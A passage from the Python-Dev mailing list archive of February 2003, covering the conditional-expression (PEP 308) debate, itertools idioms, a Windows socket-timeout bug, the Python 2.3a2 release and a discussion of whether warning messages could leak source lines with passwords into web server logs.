			res = connect(s->sock_fd, addr, addrlen);
			if (res < 0) {
				/* On Win98, WSAEISCONN was seen here.  But
				 * on Win2K, WSAEINVAL.  So accept both as
				 * meaning "fine".
				 */
				int code = WSAGetLastError();
				if (code == WSAEISCONN ||
				    code == WSAEINVAL)
					res = 0;
			}
		}
	}

what happens on Win98SE is that int code is WSAEINVAL after
internal_select() times out and the second connect() call returns.  But the
code here then goes out of its way to say that's not really a problem,
presumably because Win2K sets WSAEINVAL if we're actually connected at this
point.  The winsock docs appear mostly silent on all of these subtleties,
and I don't have Win2K to test it on at the moment.  Maybe this code has to
split into different Windows-specific flavors; or maybe Win2K also sets
WSAEINVAL in this case, in which case it will be impossible to distinguish a
successful connect from a failure to connect via this code.

BTW, does the Win2K comment look fishy to anyone else?  WSAEISCONN makes a
lot more sense if we try to connect when we're already connected.  Of
course, making a lot of sense doesn't bear any clear relationship to what
happens under winsock ...



From python@rcn.com  Wed Feb 19 00:54:59 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 18 Feb 2003 19:54:59 -0500
Subject: [Python-Dev] 308: the debate is petering out
References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <010a01c2d7b1$87ec78c0$125ffea9@oemcomputer>

> Raymond, have any new proposals been suggested and not shot down?

I've been away from the keyboard for three days and will need this
evening to get caught-up on all the posts.  If something new and
wonderful came-up, I'll update the PEP.


> Somebody mentioned usability studies.  Did anything come out of that?

Yes.  A bunch of people tried out the various forms on children, 
significant others, and employees.  

* In general, all of the forms were decipherable by people who already
   knew Python.

* The c?a:b form was understandable to people familiar 
   with other languages.  With a single example, others were able
   to understand the form and found it easy to use.  The surprise
   was that the n-ary form (using parens for sub-expressions)
   managed to confuse even non-beginners.  The best guess at the
   cause is that the grouping and precedence cues for parentheses
   do not mix well with the concepts of grouping by ternary operator
   and of short-circuit evaluation.

* The (if c: a else: b) form stumped some of the victims. 
   In some experiments, this was especially surprising because 
   they had just seen one of the other forms and had some expectation
   of what it was supposed to do.  The root problem appears to be
   the blurring of the line between statements and expressions where
   the keyword and colon cues proved misleading.  On the plus side,
   everyone who understood the ternary version had no problem with 
   the n-ary version.  

* The c then a else b form was understood by most though a few
   thought it looked unnatural in longer expressions.  There were some
   who understood it but could not make the jump to the n-ary form
   (using the elif keyword).  It appears that the colons help to visually
   parse the n-ary form.


Raymond Hettinger


From python@rcn.com  Wed Feb 19 01:40:32 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 18 Feb 2003 20:40:32 -0500
Subject: [Python-Dev] 308: the debate is petering out
References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <009401c2d7b7$e4d8ddc0$125ffea9@oemcomputer>

> Raymond, have any new proposals been suggested and not shot down?

Someone re-proposed c ? a else b.  Their rationale is that the ? is a better
marker than "then" and is suggestive enough to not need a leading "if";
it doesn't require a new keyword and does not overload the colon.
No one shot this down but it didn't generate any real support either.

There was an interesting, weird, and fruitless discussion on how
"c then a else b" could be implemented as a pair of binary operators
that are not required to be used together.

There was a rapidly shot down idea to use bool.choose(a, b) where
choose() was a special method that could somehow implement
lazy evaluation of its arguments.

A recent proposal is: (? <cond1>: <expr1>, <cond2>: <expr2>, <default> ?).
There have only been a few hours for comment.  Though the visual
cues are there, my issue with it is that the colon usage is likely to confuse
anyone exposed to the c?a:b form in other languages where the colon
separates the alteratives rather than the condition and alternative.


Raymond Hettinger


From python@rcn.com  Wed Feb 19 03:13:44 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 18 Feb 2003 22:13:44 -0500
Subject: [Python-Dev] [rfc] map enhancement
References: <20030218111844.GA10112@logilab.fr> <Xns932687FA71E88duncanrcpcouk@127.0.0.1>
Message-ID: <002f01c2d7c4$e99652e0$125ffea9@oemcomputer>

> It appears as though you ought to be able to write this as:
> 
>    return map(operator.getitem, data, b=1)
> 
> except that operator.getitem, in common with many builtin functions doesn't 
> accept any keyword arguments.
> 
> This is a pity as it cripples most of the situations where you might 
> otherwise want to use this. e.g. add a constant to elements of a list, or 
> multiply by a constant.

For Py2.3, the itertools module can help:

itertools.imap(operator.__getitem__, data, itertools.repeat(1))


Raymond Hettinger


From pedronis@bluewin.ch  Wed Feb 19 07:02:58 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Wed, 19 Feb 2003 08:02:58 +0100
Subject: [Python-Dev] 308: the debate is petering out
References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> <009401c2d7b7$e4d8ddc0$125ffea9@oemcomputer>
Message-ID: <000f01c2d7e4$ef83c1e0$6d94fea9@newmexico>

There were a group of people that would find

a when C else B

with 'when' instead of 'if' less confusing than 'a if C else b'.

The alternative (as in Haskell, ML,...):

if C then a else b

was also mentioned a few times.

For the rest I think we have all reasonable contenders.


----- Original Message -----
From: "Raymond Hettinger" <python@rcn.com>
To: "Guido van Rossum" <guido@python.org>; <python-dev@python.org>
Sent: Wednesday, February 19, 2003 2:40 AM
Subject: Re: [Python-Dev] 308: the debate is petering out


> > Raymond, have any new proposals been suggested and not shot down?
>
> Someone re-proposed c ? a else b.  Their rationale is that the ? is a better
> marker than "then" and is suggestive enough to not need a leading "if";
> it doesn't require a new keyword and does not overload the colon.
> No one shot this down but it didn't generate any real support either.
>
> There was an interesting, weird, and fruitless discussion on how
> "c then a else b" could be implemented as a pair of binary operators
> that are not required to be used together.
>
> There was a rapidly shot down idea to use bool.choose(a, b) where
> choose() was a special method that could somehow implement
> lazy evaluation of its arguments.
>
> A recent proposal is: (? <cond1>: <expr1>, <cond2>: <expr2>, <default> ?).
> There have only been a few hours for comment.  Though the visual
> cues are there, my issue with it is that the colon usage is likely to confuse
> anyone exposed to the c?a:b form in other languages where the colon
> separates the alteratives rather than the condition and alternative.
>
>
> Raymond Hettinger
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From Ludovic.Aubry@logilab.fr  Wed Feb 19 10:22:07 2003
From: Ludovic.Aubry@logilab.fr (Ludovic Aubry)
Date: Wed, 19 Feb 2003 11:22:07 +0100
Subject: [Python-Dev] [rfc] map enhancement
In-Reply-To: <002f01c2d7c4$e99652e0$125ffea9@oemcomputer>
References: <20030218111844.GA10112@logilab.fr> <Xns932687FA71E88duncanrcpcouk@127.0.0.1> <002f01c2d7c4$e99652e0$125ffea9@oemcomputer>
Message-ID: <20030219102206.GA16911@logilab.fr>

This is nice,

The strongest objection regarding using
map(f,L,x=K) is that there is no clear way of telling
the reader that the keyword argument will be passed as a constant

Your solution for itertools can work with map too:

def repeat(v,n):
    while n:
       yield v
       n-=1

map(f,L,repeat(K,len(L)))

would do the trick
As a nice addition it also allows one to put constants anywhere
in the argument list for f

Thanks for the idea

On Tue, Feb 18, 2003 at 10:13:44PM -0500, Raymond Hettinger wrote:
> > It appears as though you ought to be able to write this as:
> > 
> >    return map(operator.getitem, data, b=1)
> > 
> > except that operator.getitem, in common with many builtin functions doesn't 
> > accept any keyword arguments.
> > 
> > This is a pity as it cripples most of the situations where you might 
> > otherwise want to use this. e.g. add a constant to elements of a list, or 
> > multiply by a constant.
> 
> For Py2.3, the itertools module can help:
> 
> itertools.imap(operator.__getitem__, data, itertools.repeat(1))
> 
> 
> Raymond Hettinger
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev

-- 
Ludovic Aubry                                 LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From mchermside@ingdirect.com  Wed Feb 19 14:24:37 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Wed, 19 Feb 2003 09:24:37 -0500
Subject: [Python-Dev] Re: 308: the debate is petering out
Message-ID: <7F171EB5E155544CAC4035F0182093F03CF723@INGDEXCHSANC1.ingdirect.com>

Also worth mentioning by way of summary is that several people=20
wrote about how they preferred the originally suggested form:

        trueVal if cond else falseVal

mostly on readability grounds. I, too, find the order a bit
peculiar, but it should be mentioned as several people brought
it up.

-- Michael Chermside



From python@rcn.com  Wed Feb 19 16:15:19 2003
From: python@rcn.com (Raymond Hettinger)
Date: Wed, 19 Feb 2003 11:15:19 -0500
Subject: [Python-Dev] [rfc] map enhancement
References: <20030218111844.GA10112@logilab.fr> <Xns932687FA71E88duncanrcpcouk@127.0.0.1> <002f01c2d7c4$e99652e0$125ffea9@oemcomputer> <20030219102206.GA16911@logilab.fr>
Message-ID: <00a001c2d832$18f578a0$5b0da044@oemcomputer>

> Your solution for itertools can work with map too:
> 
> def repeat(v,n):
>     while n:
>        yield v
>        n-=1
> 
> map(f,L,repeat(K,len(L))) 

The itertools combine together so you can do it all 
at C speed and not have to create your own ad-hoc
generator:

from itertools import repeat, islice
map(f, L, islice(repeat(K),len(L)))


Raymond Hettinger


From mal@lemburg.com  Wed Feb 19 17:09:36 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 19 Feb 2003 18:09:36 +0100
Subject: [Python-Dev] test_timeout fails on Win98SE
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEFHDOAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEFHDOAB.tim.one@comcast.net>
Message-ID: <3E53BA50.5050100@lemburg.com>

Tim Peters wrote:
> Hmm.  test_timeout is timing out on Win98SE, but not returning an error.
> In socketmodule.c's internal_connect():
> 
> static int
> internal_connect(PySocketSockObject *s, struct sockaddr *addr, int addrlen)
> {
> 	int res;
> 
> 	res = connect(s->sock_fd, addr, addrlen);
> 
> #ifdef MS_WINDOWS
> 
> 	if (s->sock_timeout > 0.0) {
> 		if (res < 0 && WSAGetLastError() == WSAEWOULDBLOCK) {
> 			internal_select(s, 1);
> 			res = connect(s->sock_fd, addr, addrlen);
> 			if (res < 0) {
> 				/* On Win98, WSAEISCONN was seen here.  But
> 				 * on Win2K, WSAEINVAL.  So accept both as
> 				 * meaning "fine".
> 				 */
> 				int code = WSAGetLastError();
> 				if (code == WSAEISCONN ||
> 				    code == WSAEINVAL)
> 					res = 0;
> 			}
> 		}
> 	}
> 
> what happens on Win98SE is that int code is WSAEINVAL after
> internal_select() times out and the second connect() call returns.  But the
> code here then goes out of its way to say that's not really a problem,
> presumably because Win2K sets WSAEINVAL if we're actually connected at this
> point.  The winsock docs appear mostly silent on all of these subtleties,
> and I don't have Win2K to test it on at the moment.  Maybe this code has to
> split into different Windows-specific flavors; or maybe Win2K also sets
> WSAEINVAL in this case, in which case it will be impossible to distinguish a
> successful connect from a failure to connect via this code.
> 
> BTW, does the Win2K comment look fishy to anyone else?  WSAEISCONN makes a
> lot more sense if we try to connect when we're already connected.  Of
> course, making a lot of sense doesn't bear any clear relationship to what
> happens under winsock ...

MS isn't sure about this either...

    http://lists.w3.org/Archives/Public/www-lib/2000AprJun/0125.html

What I don't understand is why an error is set when you
are in fact properly connected.

Looks like Guido knows the answer:
    http://mail.python.org/pipermail/zodb-checkins/2002-September/002669.html

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 19 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     41 days left
EuroPython 2003, Charleroi, Belgium:                       125 days left



From mal@lemburg.com  Wed Feb 19 17:21:12 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 19 Feb 2003 18:21:12 +0100
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEDDDOAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEDDDOAB.tim.one@comcast.net>
Message-ID: <3E53BD08.80900@lemburg.com>

Tim Peters wrote:
> [Guido]
> 
>>I have a tentative fix for this (use PyNumber_Check() in
>>default_3way_compare() and augment PyNumber_Check() to test whether
>>the type defines nb_int).
> 
> Sounds good to me. 

+1

> It's interesting then that complex numbers will pass the
> PyNumber_Check test because they set nb_int to a routine that
> unconditionally raises an exception.  Checking for nb_negative may be
> crisper?

Isn't that caveat in the complex implementation ? Converting a
complex with 0 img part would not cause any loss of information
(apart from the usual integer truncations ;-)

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 19 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     41 days left
EuroPython 2003, Charleroi, Belgium:                       125 days left



From guido@python.org  Wed Feb 19 18:06:12 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 13:06:12 -0500
Subject: [Python-Dev] test_timeout fails on Win98SE
In-Reply-To: Your message of "Wed, 19 Feb 2003 18:09:36 +0100."
 <3E53BA50.5050100@lemburg.com>
References: <LNBBLJKPBEHFEDALKOLCOEFHDOAB.tim.one@comcast.net>
 <3E53BA50.5050100@lemburg.com>
Message-ID: <200302191806.h1JI6CV05071@odiug.zope.com>

> Looks like Guido knows the answer:
>     http://mail.python.org/pipermail/zodb-checkins/2002-September/002669.html

But somehow that doesn't work either.

I recall a MS page about this that recommended not trying a second
connect() but calling select() to determine whether the socket is
writable (== connected).  I've now implemented that (in the Windows
version of the code only).  The test_timeout.py now works for me on
Win98 (most of the time) and on Win2k (all the time except the one
time when ZoneAlarm interfered :-).

I consider this closed now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb 19 18:11:24 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 13:11:24 -0500
Subject: [Python-Dev] Re: Python 2.3a2 release today?
In-Reply-To: Your message of "Tue, 18 Feb 2003 17:21:28 EST."
Message-ID: <200302191811.h1JIBPm05151@odiug.zope.com>

I'm ready to start the clock ticking for a release of 2.3a2 TODAY
(Wednesday).

I'll tag the tree and do the release from there.  Please, no checkins
on either the branch or the head until you see the release announced
on python.org or in c.l.py.a, or unless I ask you.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Wed Feb 19 18:48:07 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 19 Feb 2003 13:48:07 -0500
Subject: [Python-Dev] Python 2.3a2 Doc tree frozen
Message-ID: <15955.53607.453702.288812@grendel.zope.com>

Guido has tagged the tree for the 2.3a2 release, and I'm building the
documentation packages.  The Doc/ tree is frozen until the release is
done.

Thanks!


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From guido@python.org  Wed Feb 19 19:57:33 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 14:57:33 -0500
Subject: [Python-Dev] privacy in log files?
Message-ID: <200302191957.h1JJvoU20161@odiug.zope.com>

I found this comment in Parser/tokenizer.c:

		/* We don't use PyErr_WarnExplicit() here because
		   printing the line in question to e.g. a log file
		   could result in sensitive information being
		   exposed. */

I didn't see a SF reference there or in the CVS checkin comment, so
I'm stumped.  What's the use case?  How could copying a line of source
code to a log file possibly expose information that the owner of the
log file (often root) doesn't already have access to?

--Guido van Rossum (home page: http://www.python.org/~guido/)



From mal@lemburg.com  Wed Feb 19 20:29:05 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 19 Feb 2003 21:29:05 +0100
Subject: [Python-Dev] Re: privacy in log files?
In-Reply-To: <200302191957.h1JJvoU20161@odiug.zope.com>
References: <200302191957.h1JJvoU20161@odiug.zope.com>
Message-ID: <3E53E911.2000602@lemburg.com>

Guido van Rossum wrote:
> I found this comment in Parser/tokenizer.c:
> 
> 		/* We don't use PyErr_WarnExplicit() here because
> 		   printing the line in question to e.g. a log file
> 		   could result in sensitive information being
> 		   exposed. */
> 
> I didn't see a SF reference there or in the CVS checkin comment, so
> I'm stumped.  What's the use case? 

The use case is easily explained:

I have gotten a lot of emails from various people about the
new source code encoding feature and the warning that is
generated for code lines which have non-ASCII characters
in them if the file doesn't have a coding header.

Many of these people mentioned that webserver logs (for CGI
scripts) would get flooded with these warnings and that there
is a potential security breach here if a source line is
being copied into to these logs. It is rather common that
these logs are world readable, so passwords and other sensible
information could easily escape the script's source code,
e.g. login information for databases.

> How could copying a line of source
> code to a log file possibly expose information that the owner of the
> log file (often root) doesn't already have access to?

The problem is not the owner of the log file, it's
the access permissions that introduce the problem.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 19 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     41 days left
EuroPython 2003, Charleroi, Belgium:                       125 days left



From guido@python.org  Wed Feb 19 20:37:13 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 15:37:13 -0500
Subject: [Python-Dev] Re: privacy in log files?
In-Reply-To: Your message of "Wed, 19 Feb 2003 21:29:05 +0100."
 <3E53E911.2000602@lemburg.com>
References: <200302191957.h1JJvoU20161@odiug.zope.com>
 <3E53E911.2000602@lemburg.com>
Message-ID: <200302192037.h1JKbEN20296@odiug.zope.com>

> Guido van Rossum wrote:
> > I found this comment in Parser/tokenizer.c:
> > 
> > 		/* We don't use PyErr_WarnExplicit() here because
> > 		   printing the line in question to e.g. a log file
> > 		   could result in sensitive information being
> > 		   exposed. */
> > 
> > I didn't see a SF reference there or in the CVS checkin comment, so
> > I'm stumped.  What's the use case? 

[MAL]
> I have gotten a lot of emails from various people about the
> new source code encoding feature and the warning that is
> generated for code lines which have non-ASCII characters
> in them if the file doesn't have a coding header.

Is the idea that non-ASCII characters are likely to be used in
passwords?

> Many of these people mentioned that webserver logs (for CGI
> scripts) would get flooded with these warnings and that there
> is a potential security breach here if a source line is
> being copied into to these logs. It is rather common that
> these logs are world readable, so passwords and other sensible
> information could easily escape the script's source code,
> e.g. login information for databases.

I can interpret world-readable in two ways.  On Unix, it traditionally
means that anybody with a login name can read it.  Since Apache
typically runs as user nobody, CGI scripts have to be world-readable
as well.  So I'm still not convinced.  Or are there sites that
actually publish their log files on the web?  What would the point of
that be?  I'd be surprised if there wasn't a lot of other
privacy-sensitive data in such log files, and the complainers should
complain about the public logs rather than focusing on Python trying
to issue a useful error message.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@python.org  Wed Feb 19 21:02:27 2003
From: barry@python.org (Barry A. Warsaw)
Date: Wed, 19 Feb 2003 16:02:27 -0500
Subject: [Python-Dev] Re: privacy in log files?
References: <200302191957.h1JJvoU20161@odiug.zope.com>
 <3E53E911.2000602@lemburg.com>
 <200302192037.h1JKbEN20296@odiug.zope.com>
Message-ID: <15955.61667.742030.303953@gargle.gargle.HOWL>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> I'd be surprised if there wasn't a lot of other
    GvR> privacy-sensitive data in such log files, and the complainers
    GvR> should complain about the public logs rather than focusing on
    GvR> Python trying to issue a useful error message.

I agree on both points.
-Barry


From blunck@gst.com  Wed Feb 19 21:12:34 2003
From: blunck@gst.com (Christopher Blunck)
Date: Wed, 19 Feb 2003 16:12:34 -0500
Subject: [Python-Dev] Re: privacy in log files?
In-Reply-To: <200302192037.h1JKbEN20296@odiug.zope.com>
References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com>
Message-ID: <20030219211234.GA22100@homer.gst.com>

On Wed, Feb 19, 2003 at 03:37:13PM -0500, Guido van Rossum wrote:
> I can interpret world-readable in two ways.  On Unix, it traditionally
> means that anybody with a login name can read it.  Since Apache
> typically runs as user nobody, CGI scripts have to be world-readable
> as well.  

I started writing three separate emails to play devil's advocate here and
"prove guido wrong", but half way through each email I realized that 
there really isn't much of a vulnerability here.  I originally considered
the premise that CGI's must be world readable (perhaps o+x would suffice) -
it did not.  What about if MyCGI.py imports MySecretPasswords and 
MySecretPasswords is in .pyc format - nope, that needs to be o+r also.
What about if MyCGI.py reads a file MySecretPasswords.txt or evals the
statements contained within?  Nope, MySecretPasswords.txt must be o+r.

Bottom line: if the webserver is going to access it, or hand it to python 
to access, it's got to be o+r.  And under those circumstances, Guido's
right on in his statement of "if they are putting passwords in o+r
modules, anyone with an account will be able to view them."

The *only* possibility I could come up with was attaching to a remote
interpretter an asking it to execute modules you feed it (you specify the
path to the module).  Under that scenario one could run the interpretter
as a legitimate user and access files the webserver could not access.

That seems like a really big stretch and if you did go that route you'd
probably build in functionality to handle remote exceptions so that code
with passwords was not exposed to the remote client.


Respectfully,
-c

-- 
  4:00pm  up 121 days,  7:35,  1 user,  load average: 0.08, 0.26, 0.40


From mal@lemburg.com  Wed Feb 19 10:17:28 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 19 Feb 2003 11:17:28 +0100
Subject: [Python-Dev] Re: privacy in log files?
In-Reply-To: <200302192037.h1JKbEN20296@odiug.zope.com>
References: <200302191957.h1JJvoU20161@odiug.zope.com>              <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com>
Message-ID: <3E5359B8.3040201@lemburg.com>

Guido van Rossum wrote:
>>Guido van Rossum wrote:
>>
>>>I found this comment in Parser/tokenizer.c:
>>>
>>>		/* We don't use PyErr_WarnExplicit() here because
>>>		   printing the line in question to e.g. a log file
>>>		   could result in sensitive information being
>>>		   exposed. */
>>>
>>>I didn't see a SF reference there or in the CVS checkin comment, so
>>>I'm stumped.  What's the use case? 
> 
> 
> [MAL]
> 
>>I have gotten a lot of emails from various people about the
>>new source code encoding feature and the warning that is
>>generated for code lines which have non-ASCII characters
>>in them if the file doesn't have a coding header.
> 
> Is the idea that non-ASCII characters are likely to be used in
> passwords?

Not necessarily, but the line could have a non-ASCII comment causing
the warning.

>>Many of these people mentioned that webserver logs (for CGI
>>scripts) would get flooded with these warnings and that there
>>is a potential security breach here if a source line is
>>being copied into to these logs. It is rather common that
>>these logs are world readable, so passwords and other sensible
>>information could easily escape the script's source code,
>>e.g. login information for databases.
> 
> I can interpret world-readable in two ways.  On Unix, it traditionally
> means that anybody with a login name can read it.  Since Apache
> typically runs as user nobody, CGI scripts have to be world-readable
> as well.

They have to be group nobody or nogroup (depending on distribution)
and group readable. World readable is not needed.

> So I'm still not convinced.  Or are there sites that
> actually publish their log files on the web?  What would the point of
> that be?  I'd be surprised if there wasn't a lot of other
> privacy-sensitive data in such log files, and the complainers should
> complain about the public logs rather than focusing on Python trying
> to issue a useful error message.

True, but why stir up more noise ? The whole idea in itself
has already caused endless discussions.

The message now prints the file name and the line number. I think
that's good enough.

BTW, there's also another reason not to print the source code line:
since we know it contains non-ASCII data, it would clutter up the
log file, possibly making it useless to other programs reading
it. The same it true for interactive terminal sessions that could
start to behave in strange ways after printing what they think are
control characters.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 19 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     41 days left
EuroPython 2003, Charleroi, Belgium:                       125 days left



From guido@python.org  Wed Feb 19 21:24:06 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 16:24:06 -0500
Subject: [Python-Dev] Re: privacy in log files?
In-Reply-To: Your message of "Wed, 19 Feb 2003 11:17:28 +0100."
 <3E5359B8.3040201@lemburg.com>
References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com>
 <3E5359B8.3040201@lemburg.com>
Message-ID: <200302192124.h1JLO7H21814@odiug.zope.com>

> They have to be group nobody or nogroup (depending on distribution)
> and group readable. World readable is not needed.

Though that is usually the intention of those groups...

> > So I'm still not convinced.  Or are there sites that
> > actually publish their log files on the web?  What would the point of
> > that be?  I'd be surprised if there wasn't a lot of other
> > privacy-sensitive data in such log files, and the complainers should
> > complain about the public logs rather than focusing on Python trying
> > to issue a useful error message.
> 
> True, but why stir up more noise ? The whole idea in itself
> has already caused endless discussions.

The fact that people are concerned about privacy doesn't mean they
aren't wrong.

> The message now prints the file name and the line number. I think
> that's good enough.
>
> BTW, there's also another reason not to print the source code line:
> since we know it contains non-ASCII data, it would clutter up the
> log file, possibly making it useless to other programs reading
> it. The same it true for interactive terminal sessions that could
> start to behave in strange ways after printing what they think are
> control characters.

Now that's a reason I can support.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb 20 01:19:01 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 19 Feb 2003 20:19:01 -0500
Subject: [Python-Dev] RELEASED: Python 2.3a2
Message-ID: <200302200119.h1K1J1T26419@pcp02138704pcs.reston01.va.comcast.net>

Python 2.3a2 is the second (and likely last) alpha release of Python
2.3.  Much improved since the first alpha, chockfull of things you'd
like to check out:

  http://www.python.org/2.3/

Some highlights of what's new since 2.3a1:

- fixed mishandling of negated hex/oct literals (PEP 237)

- a new, more efficient pickling protocol (PEP 307)

- functions have a __module__ attribute

- new module itertools: efficient looping constructs

- many improvements to the new datetime module

New since Python 2.2:

- Many new and improved library modules, e.g. sets, heapq, datetime,
  textwrap, optparse, logging, bsddb, bz2, tarfile,
  ossaudiodev, and a new random number generator based on the highly
  acclaimed Mersenne Twister algorithm (with a period of 2**19937-1!).

- New builtin enumerate(): an iterator yielding (index, item) pairs.

- Extended slices, e.g. "hello"[::-1] returns "olleh".

- Universal newlines mode for reading files (converts \r, \n and \r\n
  all into \n).

- Source code encoding declarations.  (PEP 263)

- Import from zip files.  (PEP 273 and PEP 302)

- FutureWarning issued for "unsigned" operations on ints.  (PEP 237)

- Faster list.sort() is now stable.

- Unicode filenames on Windows.

- Karatsuba long multiplication (running time O(N**1.58) instead of
  O(N**2)).

We request widespread testing of this release but don't recommend
using it for production situations.  Alpha releases contain bugs; in
addition, new APIs are not yet considered stable and may change until
the first beta release.  If you have an important Python application,
we strongly recommend that you try it out with an alpha release and
report any incompatibilities or other problems you may encounter, so
that they can be fixed before the final release.  To report problems,
use the SourceForge bug tracker:

  http://sourceforge.net/tracker/?group_id=5470&atid=105470

Enjoy!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aaron@reportlab.com  Thu Feb 20 02:20:00 2003
From: aaron@reportlab.com (Aaron Watters)
Date: 19 Feb 2003 18:20:00 -0800
Subject: [Python-Dev] Re: python-dev Summary for 2003-01-16 through 2003-01-31
References: <mailman.1044452822.32236.clpa-moderators@python.org>
Message-ID: <9a6d7d9d.0302191819.2d9295d7@posting.google.com>

> `Re: GadflyDA in core? Or as add-on-product?`__
> ================================================
> __ http://mail.python.org/pipermail/python-dev/2003-January/032295.html
> 
> The idea was proposed to add Gadfly_ to the stdlib.  Two issues came
> up about doing this.  One was that it would require having to deal
> with another license.  Aaron Watters (the original author of Gadfly)
> was emailed to ask if he would be willing to donate the code to the
> `Python Software Foundation`_, but he did not respond (at least to the
> list).

I have now.  The answer was "yes" and I'm very proud to have been asked!

> The other issue was the use of kjbuckets_.  Guido was -1 on letting it
> into the stdlib because he had "heard it's some of .the hairiest C
> code ever written".  

I've seen a lot of C code, so that is *really* a compliment! Thanks! :)

> But Richard Jones said that Anthony Baxter is
> working on removing the dependency on kjbuckets by rewriting the code
> using the Sets_ module introduced in Python 2.3.

I would strongly prefer that kjbuckets be maintained as the default
if present, but given that I stopped working on gadfly some years ago
I will leave that to the discretion of others.  I doubt Sets_ would be
faster.
   -- Aaron Watters



From whisper@oz.net  Thu Feb 20 08:28:38 2003
From: whisper@oz.net (David LeBlanc)
Date: Thu, 20 Feb 2003 00:28:38 -0800
Subject: [Python-Dev] What happened to fixed point?
Message-ID: <GCEDKONBLEFPPADDJCOEAEJBIFAA.whisper@oz.net>

I was told that FixedPoint had a sponsor (if that's the right word) for 2.3.
Did it not make it or did it just not get mentioned in the release notes for
a2?

David LeBlanc
Seattle, WA USA



From pedronis@bluewin.ch  Thu Feb 20 08:47:29 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Thu, 20 Feb 2003 09:47:29 +0100
Subject: [Python-Dev] python-dev Summary for 2003-02-01 through 2003-02-15
References: <Pine.SOL.4.53.0302171503400.16007@death.OCF.Berkeley.EDU>
Message-ID: <00d801c2d8bc$b3f7adc0$6d94fea9@newmexico>

From: "Brett Cannon" <bac@OCF.Berkeley.EDU>
> =============================
> `Extended Function syntax`__
> =============================
...
> A variant on all of this that was proposed was::
>
>  def fxn(args) as fun1, fun2, ..., funX:
>       ...code...
>
> or::
>
...
> The two proposed syntaxes above were suggested to be made very general so
> that you could do something like::
>
>  def fxn(args) as function:
>       ...code...
>
> And since this was all about how make using property() easier,
> property-specific suggestions included:
>
>  class klass(object):
>      property prup:
>          ...code...
>
> or::
>
>  class klass(object):
>      def prup as property:
>           ...code...
>
> The problem with the former is that it requires turning "property" into a
> keyword.
>
> None of these are PEPs yet nor have had BDFL pronouncement.

it is (maybe) worth to remember that the syntaxes:

def fun(args) as staticmethod:
 ...

def Interface(J,K) as interface:
 ...

cannot really be supported together (unless to go for a super kludgy &
ambiguous solution),
because the former requires formal parameters and the latter takes a tuple of
expressions to be computed at definition time.

>
> ===========
> `thunks`__
> ===========
> __ http://mail.python.org/pipermail/python-dev/2003-February/032828.html
>
> Splinter threads:
>     - `Extended Function syntax
